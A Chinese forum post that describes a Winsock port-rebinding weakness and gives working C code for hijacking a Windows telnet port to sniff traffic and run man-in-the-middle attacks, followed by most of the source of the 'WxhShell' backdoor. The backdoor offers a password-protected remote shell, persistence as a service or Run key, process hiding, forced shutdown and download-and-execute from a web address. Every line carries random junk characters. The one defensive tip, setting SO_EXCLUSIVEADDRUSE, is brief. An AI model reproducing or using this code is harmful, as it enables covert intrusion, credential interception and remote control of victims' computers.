社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13192阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P+Z\3re  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *vnXlV4L  
Z^# ]#f  
  saddr.sin_family = AF_INET; ^VI,C|  
#mLuU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ia4k:\  
ntGq" o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); })[($$f/  
P^[/Qi}j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  AmcC:5  
Q\9K2=4  
  这意味着什么?意味着可以进行如下的攻击: wqy ^8N[K]  
%{C)1*M7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m<:IFx#  
_ 08];M|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2a `J%A  
l>&sIX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _]|Qec)  
<9ifPSvJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EGS%C%>l/o  
= .`jjDJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J`oTes,  
}U[-44r:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9y^/GwUQ  
I:$"E% >=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {QQl$ys/  
E>pVn2|  
  #include fbC~WV#  
  #include ;6m;M63z  
  #include Bo r7]#  
  #include    y3IWfiz>/d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ssl&5AS  
  int main() 8h.V4/?  
  { oT&m4I  
  WORD wVersionRequested; gyu6YD8L  
  DWORD ret; %fhNxR  
  WSADATA wsaData; !/hsJ9  
  BOOL val; SDBt @=Nl  
  SOCKADDR_IN saddr; BQjGv?p0s  
  SOCKADDR_IN scaddr; `;F2n2@  
  int err; Fr5 Xp  
  SOCKET s; 3z[ $4L'.  
  SOCKET sc; 2z\;Q8g){r  
  int caddsize; &5Y_>{,  
  HANDLE mt; S " pI  
  DWORD tid;   kuKa8c  
  wVersionRequested = MAKEWORD( 2, 2 ); iiNSDc  
  err = WSAStartup( wVersionRequested, &wsaData ); `.^ |]|u  
  if ( err != 0 ) { u) *Kws  
  printf("error!WSAStartup failed!\n"); WRpyr  
  return -1; .y):Rh^  
  } AK2WN#u@Z  
  saddr.sin_family = AF_INET; yn~P{}68  
   j*zD0I]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u^4h&fL  
lTz6"/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B9M>e'H%<  
  saddr.sin_port = htons(23); nPA@h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]b}B2F'n  
  {  >eS$  
  printf("error!socket failed!\n"); ZK !A#Jm{  
  return -1; T20VX 8gX  
  } R^8{bP  
  val = TRUE; ^}>/n. %  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [,g~m9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g1|w?pI1  
  { l [%lE  
  printf("error!setsockopt failed!\n"); (E!!pz  
  return -1; QxpKX_@Q5  
  } YYUe)j{T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gx;O6S{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )^/0cQcJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PW)aLycPK  
=~|:t&v=c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x-_vl 9P)  
  { cm@;*  
  ret=GetLastError(); %l$W*.j|;  
  printf("error!bind failed!\n"); 91d }, Mq:  
  return -1; p;%<mUI  
  } :6Pad  
  listen(s,2); "s_Z&  
  while(1) kGHC]Fb)  
  { C-SLjJw  
  caddsize = sizeof(scaddr); 5 9 -!6;T  
  //接受连接请求 wk[ wNIu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :&yDqoQKJ  
  if(sc!=INVALID_SOCKET) c K<)$*  
  { P))^vUt~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N"c(e6  
  if(mt==NULL) qnIew?-*  
  { 12( wj6Q  
  printf("Thread Creat Failed!\n"); i_l+:/+G+  
  break; ]~jN^"o_B  
  } )bD nbO$s_  
  } >i~^TY-&  
  CloseHandle(mt); ~F[L4y!sL  
  } ?L|yaC~  
  closesocket(s); +AI`R`Tm  
  WSACleanup(); #n7Yr,|Z  
  return 0; p^X^1X7  
  }   x"\qf'{D  
  DWORD WINAPI ClientThread(LPVOID lpParam) pP.'wSj  
  { DW2>&|  
  SOCKET ss = (SOCKET)lpParam; 4v.d-^  
  SOCKET sc; 3 ^}A %-bS  
  unsigned char buf[4096]; Ai kf|)D[  
  SOCKADDR_IN saddr; f)6))  
  long num; -dRFA2 Y  
  DWORD val; D>kD1B1  
  DWORD ret; (tCib 4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;j'Daupt;=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M_1;$fWq  
  saddr.sin_family = AF_INET; _\zQ"y|G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PT_KXk  
  saddr.sin_port = htons(23); ZGz|m0b (  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h;M3yTM-  
  { oU+F3b}5p  
  printf("error!socket failed!\n"); eegx'VSX4  
  return -1; jk7 0u[\  
  } S/gm.?$V  
  val = 100; E*CcV;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]U_ec*a  
  { TFH&(_b  
  ret = GetLastError(); 4gZ &^y'  
  return -1; OW5t[~y]  
  } q7Es$zjX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _vl}*/=Hc  
  { p/olCmHD)  
  ret = GetLastError(); X0uJNHO  
  return -1; =G${[V \  
  } .SS<MDcqIt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r>|-2}{N/  
  {  .i/m  
  printf("error!socket connect failed!\n"); ht6244:  
  closesocket(sc); A lwtmDa  
  closesocket(ss); -9+se  
  return -1; Z4q~@|+%  
  } {IM! Wb  
  while(1) }Dfwm)]Q  
  { pIO4,VL;W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r"wtZ]69  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1FERmf? ?d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o0I9M?lP  
  num = recv(ss,buf,4096,0); I:=dG[\h2  
  if(num>0) ]<trA$ 0  
  send(sc,buf,num,0); ls|LCQPx  
  else if(num==0) iHBB,x  
  break; 74J@F2g}?  
  num = recv(sc,buf,4096,0); h @/;`E[  
  if(num>0) 2qU&l|>  
  send(ss,buf,num,0); H^AE|U*-G  
  else if(num==0) S4A q'  
  break; WES#ZYtT  
  } = r4!V>  
  closesocket(ss); 8q^o.+9  
  closesocket(sc); Uems\I0  
  return 0 ; sqO< J$tz  
  } sC7/9</  
+4)7j&L  
#&Is GyU  
========================================================== Hfc"L>  
w*!wQ,o  
下边附上一个代码,,WXhSHELL ALT^8c&K  
LN^f1/ b*  
========================================================== {1Eu7l-4  
w1^QD^KnH  
#include "stdafx.h" Sycw %k  
m $dV<  
#include <stdio.h> hYg'2OG  
#include <string.h> kfrY1  
#include <windows.h> U@-2Q=  
#include <winsock2.h> M\2"gT-LV  
#include <winsvc.h> Ciihsm  
#include <urlmon.h> bbN%$/d  
;_"U "?h_J  
#pragma comment (lib, "Ws2_32.lib") +c$I&JO  
#pragma comment (lib, "urlmon.lib") k*Nr!Z!}  
raUs%Y3  
#define MAX_USER   100 // 最大客户端连接数 jAhP> t:  
#define BUF_SOCK   200 // sock buffer B6M+mx"G  
#define KEY_BUFF   255 // 输入 buffer e XV@.  
\k@$~}xD,  
#define REBOOT     0   // 重启 -n))*.V  
#define SHUTDOWN   1   // 关机 Z~u9VYi!  
Gt-UJ-RR y  
#define DEF_PORT   5000 // 监听端口 vNDu9ovs-  
3Qn!y\#  
#define REG_LEN     16   // 注册表键长度 M {a #  
#define SVC_LEN     80   // NT服务名长度 Le#spvV3J|  
{6,|IGAq V  
// 从dll定义API LR&_2e^[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m5c&&v6%"b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^twivNB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +wfVL|.Wq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /b[2lTC-e  
!{UTD+|=N  
// wxhshell配置信息 *b|NjwmB  
struct WSCFG { AHbZQulC  
  int ws_port;         // 监听端口 mOBACTY^  
  char ws_passstr[REG_LEN]; // 口令 xyeA  2Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no >hsuAU.UOR  
  char ws_regname[REG_LEN]; // 注册表键名 [~mGsXV  
  char ws_svcname[REG_LEN]; // 服务名 F jrINxL7^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AR&:Q4r|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KtN&,C )lJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jgu*Y{ocm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6d|q+]x_n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5LW}h^N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ! fl4"  
dF@)M  
}; IApT'QNM  
>,5i60Q  
// default Wxhshell configuration #/-_1H  
struct WSCFG wscfg={DEF_PORT, `dkV_ O0  
    "xuhuanlingzhe", [xlIG}e9  
    1, 1y"3  
    "Wxhshell", ^Z,q$Gp~P  
    "Wxhshell", @4GA^h  
            "WxhShell Service", ][@F  
    "Wrsky Windows CmdShell Service", 5er@)p_  
    "Please Input Your Password: ", D]03eu  
  1, ERMa# L  
  "http://www.wrsky.com/wxhshell.exe", `lpz-"EEV  
  "Wxhshell.exe" \=2m7v#E  
    }; Im72Vt:p-  
KG9t3<-`  
// 消息定义模块 E1V^}dn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7}o/:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HIc a nk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OM83S|1s  
char *msg_ws_ext="\n\rExit."; _ -..~K.|  
char *msg_ws_end="\n\rQuit."; 9";sMB}W*  
char *msg_ws_boot="\n\rReboot..."; -_A$DM!^=w  
char *msg_ws_poff="\n\rShutdown..."; \Ad7 Gi~  
char *msg_ws_down="\n\rSave to "; kBWrqZ6  
](0mjE04<d  
char *msg_ws_err="\n\rErr!"; GHc/Zc"iX  
char *msg_ws_ok="\n\rOK!"; ?A*Kg;IU  
Fwg^(;bL  
char ExeFile[MAX_PATH]; wxQ>ifi9Z  
int nUser = 0; /BA{O&Ro^  
HANDLE handles[MAX_USER]; al^!,ykc  
int OsIsNt; x_w~G]! /  
0BU=)Swku  
SERVICE_STATUS       serviceStatus; + %*&.@z_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qs 2.ef?  
<, @%*G1-  
// 函数声明 #J\rv'  
int Install(void); *|:Q%xr-  
int Uninstall(void); 7L(e h7  
int DownloadFile(char *sURL, SOCKET wsh); eny/ fm  
int Boot(int flag); Ve 3 ;  
void HideProc(void); n(ir[w#,]"  
int GetOsVer(void); EMvHFu   
int Wxhshell(SOCKET wsl); ~Qj}ijWD  
void TalkWithClient(void *cs); HTjkR*E  
int CmdShell(SOCKET sock); B|Wk?w.{r\  
int StartFromService(void); :3ZYJW1  
int StartWxhshell(LPSTR lpCmdLine); b'p4wE>  
DT(d@upH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); " {de k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #CUz uk&  
QV|>4^1D  
// 数据结构和表定义 1+kE!2b;b  
SERVICE_TABLE_ENTRY DispatchTable[] = mqtg[~dNc  
{ Y$ Fj2nk+  
{wscfg.ws_svcname, NTServiceMain}, .8gl< vX  
{NULL, NULL} f i~I@KJ>  
}; ]wn/BG)  
N;sm*+r  
// 自我安装 cD}Sf>  
int Install(void) HM[klH]s=  
{ "E*e2W  
  char svExeFile[MAX_PATH]; "9y( }  
  HKEY key; </zXA$m  
  strcpy(svExeFile,ExeFile); j f~wBm d7  
lTRl"`@S  
// 如果是win9x系统,修改注册表设为自启动 ,I.WX,OR  
if(!OsIsNt) { ?,knit2x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -%c<IX>z9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6cS>bl  
  RegCloseKey(key); X* eW#|$\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vzlh+R>c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uBnoQ~Qd[z  
  RegCloseKey(key); T/r#H__`  
  return 0; p]G3)s@>  
    } JgRYljQi2  
  } k;y w#Af8  
} 9/o vKpY  
else { R3.*dqo$  
u eb-2[=  
// 如果是NT以上系统,安装为系统服务 CON0E~"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _wDS#t;!M  
if (schSCManager!=0) A#h/B+  
{ Z?NW1m()F  
  SC_HANDLE schService = CreateService -~f511<  
  ( ]B\H ~Kn  
  schSCManager, N!&:rK  
  wscfg.ws_svcname, G'z{b$?/[  
  wscfg.ws_svcdisp, =<z.mzqu5  
  SERVICE_ALL_ACCESS, {r85l\u)Q\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '\q f^?9  
  SERVICE_AUTO_START, Y'VBz{brf  
  SERVICE_ERROR_NORMAL, {MdLX.ycc)  
  svExeFile, k0z&v <  
  NULL, !BIOY!M  
  NULL, 2{,n_w?Wy  
  NULL, 9SQ4cv*2  
  NULL, A=5epsB  
  NULL q%YV$$c   
  ); sq/]wzT:  
  if (schService!=0) 0ZpFE&  
  { CO+/.^s7}S  
  CloseServiceHandle(schService); (7FW9X;  
  CloseServiceHandle(schSCManager); LtgXShp_!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,FzeOSy'p  
  strcat(svExeFile,wscfg.ws_svcname);  Y k7-`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kn;D?ioY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &BE  g  
  RegCloseKey(key); o(kM9G|  
  return 0; arK_oh0B  
    } {No L  
  } uGN^!NG-0  
  CloseServiceHandle(schSCManager); XM1`x  
} 0IkM  
} RJeDEYXeg  
F/d7q%I  
return 1; p>=[-(mt  
} 0U/,aHvhP  
sW#JjtK  
// 自我卸载 PCrU<J 7  
int Uninstall(void) }G<T:(a  
{ `lDut1J5n  
  HKEY key; P(k(m< 0  
%^. %OCX:  
if(!OsIsNt) { yL4 T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Y 9SngxM  
  RegDeleteValue(key,wscfg.ws_regname); V%0I%\0Y  
  RegCloseKey(key); zSvgKmNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *u6Y8IL1  
  RegDeleteValue(key,wscfg.ws_regname); e-hjC6Q U  
  RegCloseKey(key); a&{X!:X  
  return 0; q=Zr>I;(Ks  
  } mog[pu:!,  
} x`RTp:#  
} ,|?CU r9Y  
else { ]q5`YB%_  
`Hx~UH)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @wmi 5oExc  
if (schSCManager!=0) t>)45<PEw  
{ qSCv )S(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BKa- k!  
  if (schService!=0) F|bYWYED;  
  { ikBYd }5  
  if(DeleteService(schService)!=0) { va|*c22;|  
  CloseServiceHandle(schService); Q?t^@  
  CloseServiceHandle(schSCManager); 2I1uX&g  
  return 0; F1%vtk;2?  
  } P>Euq'ajX  
  CloseServiceHandle(schService); S"mcUU}}  
  } `fXyWrz-k  
  CloseServiceHandle(schSCManager); %?C8mA'w  
} J<gJc*Q  
} h&3YGCl  
ZSy?T  
return 1; X.F^$  
} %#L]]-%  
2?C`4AR[2H  
// 从指定url下载文件 =,!\~`^  
int DownloadFile(char *sURL, SOCKET wsh) ?YM4b5!3T  
{ /Ss7"*JLe  
  HRESULT hr; %h"z0@+  
char seps[]= "/"; b IW'c_ ,  
char *token; ~rr 4ok  
char *file; hG~reVNf  
char myURL[MAX_PATH]; @Y,7'0U  
char myFILE[MAX_PATH]; #3=P4FUz.  
?Ucu#UO  
strcpy(myURL,sURL); HBE.F&C88  
  token=strtok(myURL,seps); 3ss6_xd+  
  while(token!=NULL) ^\:8w0Y^  
  { "& Dx=Yf  
    file=token; q_W0/Ki8  
  token=strtok(NULL,seps); {yU+)t(.  
  } 60=m  
{4aWR><  
GetCurrentDirectory(MAX_PATH,myFILE); R =Ws#'  
strcat(myFILE, "\\"); Il@Y|hK  
strcat(myFILE, file); @.$Xv>Jt$  
  send(wsh,myFILE,strlen(myFILE),0); +y2[msBs  
send(wsh,"...",3,0); }{9&:!uA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^04Q%,  
  if(hr==S_OK) tc r//  
return 0; 5Ky#GuC  
else 2O"P2(1}v  
return 1; l%z<(L5  
*Oc.9 F88"  
} Awv`)"RAR  
%ows BO+  
// 系统电源模块 9~rUkHD  
int Boot(int flag) Z|9u]xL  
{ \AUI|M;'  
  HANDLE hToken;  =$8nUX`  
  TOKEN_PRIVILEGES tkp; am_gH  
tj]9~eJ-  
  if(OsIsNt) { y %$O-q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cd79 tu|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;Yfv!\^|  
    tkp.PrivilegeCount = 1; :4)Qt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qjAWeS/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /N>e&e[35\  
if(flag==REBOOT) { [+ *$\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /WV7gO&L1  
  return 0; >R{qESmP=  
} 1 Q-bYJG  
else { 8l?piig#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B<8N96fx  
  return 0; I-]>d;4.  
} *rZ^^`4R  
  } J?JeU/:+  
  else { GhY1k";  
if(flag==REBOOT) { kL7#W9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dUgrKDNyA  
  return 0; {wF&+kH3  
} V~ ~=Qp+.  
else { Ogt]_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !{n<K:x1  
  return 0; 6J~12TU,  
} X1[CX&Am  
} O<)y-nx;X  
22<0DhJ  
return 1; ?.c;oS|  
} MF6 0-VE  
_mS!XF~`P  
// win9x进程隐藏模块 `s '#  
void HideProc(void) t&5%?QyM  
{ be5,U\&z  
VN0mDh?E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iV FkYx%}  
  if ( hKernel != NULL ) nhSb~QqEh  
  { )5JU:jNy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =K&\E2kA4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]`g <w#  
    FreeLibrary(hKernel); rPc7(,o*  
  } w#JJXXQI  
M'`;{^<  
return; -S,ln  
} Zn,>]X  
< XTU8G  
// 获取操作系统版本 %;D+k  
int GetOsVer(void) k *R<,  
{ 4ww]9J  
  OSVERSIONINFO winfo; t:JI!DR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {ng"=3+n  
  GetVersionEx(&winfo); 4`Nt{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -IlJ^Al4  
  return 1; ;TcvA  
  else /sR%]q |L  
  return 0; v{i7h|e  
} =.|J!x  
OI} &m^IOo  
// 客户端句柄模块 r[.>P$U  
int Wxhshell(SOCKET wsl) obK*rdg ,  
{ s%iOUL2/  
  SOCKET wsh; } B396X  
  struct sockaddr_in client; '^%~JyU  
  DWORD myID; )CI1;  
w|mb4AyL{?  
  while(nUser<MAX_USER) KtS)'jf  
{ d|Gl`BG   
  int nSize=sizeof(client); 5dx&Qu'}ZS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M,j(=hRJ/E  
  if(wsh==INVALID_SOCKET) return 1; zPEg  
E6Rz@"^XV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sfr(/mp(  
if(handles[nUser]==0) h0?2j)X_  
  closesocket(wsh); &X9Z W$C  
else e98lhu"|H  
  nUser++; V&soN:HS  
  } ,1q_pep~?%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _qvK*nE  
VhT= l  
  return 0; in<Rq"L  
} " +KJop  
5ep/h5*/  
// 关闭 socket g u)=wu0  
void CloseIt(SOCKET wsh) }],Z;:  
{ WqxUXH  
closesocket(wsh); O2{)WWOT  
nUser--; lcON+j  
ExitThread(0); *5sBhx  
} JO&JP3N1  
UE _fpq  
// 客户端请求句柄 _u"nvgVz9  
void TalkWithClient(void *cs) zeP}tzQO  
{ 9[v1h,L  
~mV"i7VX  
  SOCKET wsh=(SOCKET)cs; g#NZ ,~  
  char pwd[SVC_LEN]; _a_xzv'  
  char cmd[KEY_BUFF]; YL jHt\  
char chr[1]; }14 {2=!Q  
int i,j; %I!:ITa  
< `qRA]  
  while (nUser < MAX_USER) { A>VI{  
?6Cz[5\  
if(wscfg.ws_passstr) { rdJm{<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |5I'CNi\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xy+QbD T  
  //ZeroMemory(pwd,KEY_BUFF); W$dn_9W  
      i=0; v]2S`ffP  
  while(i<SVC_LEN) { q,<[hBri-  
F Kc;W  
  // 设置超时 E}CiQUx  
  fd_set FdRead; R cY>k  
  struct timeval TimeOut; tg4Y i|5  
  FD_ZERO(&FdRead); zWw2V}U!  
  FD_SET(wsh,&FdRead); w)E@*h<Z  
  TimeOut.tv_sec=8; VS#wl|b8  
  TimeOut.tv_usec=0; 6Dws,_UAZ4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0YH+B   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {"*VU3%q  
"`}~~.q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p6EDQwlf  
  pwd=chr[0]; v,NHQyk  
  if(chr[0]==0xd || chr[0]==0xa) { 7Y=cn_ wU  
  pwd=0; d {lP  
  break; ?:^mBb) T  
  } "%WgT2)m.  
  i++; 0)YbI!  
    } Nd:R" p*8  
J MX6yV  
  // 如果是非法用户,关闭 socket |1Dc!V'?"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +i `*lBup$  
} (VvKGh  
LiDvaF:@L!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dGZntT 2D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RhF>T&Q  
-O:_!\uA  
while(1) { hlvt$Jwq  
>,C4rC+:XN  
  ZeroMemory(cmd,KEY_BUFF); MB);!qy  
tc_f;S`k  
      // 自动支持客户端 telnet标准   wYeB)1.  
  j=0; h*0S$p<[1  
  while(j<KEY_BUFF) { {s,+^7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <j}lp-  
  cmd[j]=chr[0]; Rg29  
  if(chr[0]==0xa || chr[0]==0xd) { F9c`({6k  
  cmd[j]=0; RnVtZ#SCh  
  break; O|kKwadC  
  } "re-@Baw  
  j++; u#W5`sl  
    } BUUf;Vv  
TL= YQA  
  // 下载文件 RKd  
  if(strstr(cmd,"http://")) { ydl jw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W!$zXwY}(  
  if(DownloadFile(cmd,wsh)) UbJ*'eoX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qz<d~ N  
  else wbbqt0un  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  hRaf#  
  } l2v_?j-)x  
  else { {TSY|D2  
pvWau1ArNq  
    switch(cmd[0]) { Hyk'c't_O  
  E ?2O(  
  // 帮助 ;sdN-mb  
  case '?': { *#>F.#9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c"YXxA J  
    break; g]mtFrP  
  } s}M= oe  
  // 安装 cl[!`Z  
  case 'i': { #~:P}<h  
    if(Install()) KcGsMPJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xtV[p4U  
    else +%J\y^09kr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X[C3&NX#_  
    break; }6RT,O g  
    } >hMUr*j  
  // 卸载 LDT(]HJ  
  case 'r': { ZU'!iU|8  
    if(Uninstall()) %:6?Y%`*[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AWr}"r?s  
    else =Cf ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yT /EHmJ  
    break; L6:h.1 U$  
    } qX:B4,|ck  
  // 显示 wxhshell 所在路径 4\X||5.c  
  case 'p': { vvu<:16  
    char svExeFile[MAX_PATH]; 2f,B$-#  
    strcpy(svExeFile,"\n\r"); -xmf'c9P  
      strcat(svExeFile,ExeFile); 4 k}e28  
        send(wsh,svExeFile,strlen(svExeFile),0); -Q e~)7  
    break; 4|J[Jdj  
    } ; ~ 4k7Uz  
  // 重启 jjOgG-Q  
  case 'b': { Pd=,$UQp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  aA*9,  
    if(Boot(REBOOT)) dFW=9ru+MQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  |qcD;  
    else { %(m ])  
    closesocket(wsh); uq7T{7~<  
    ExitThread(0); Os),;W0w4  
    } V}8$p8#<@  
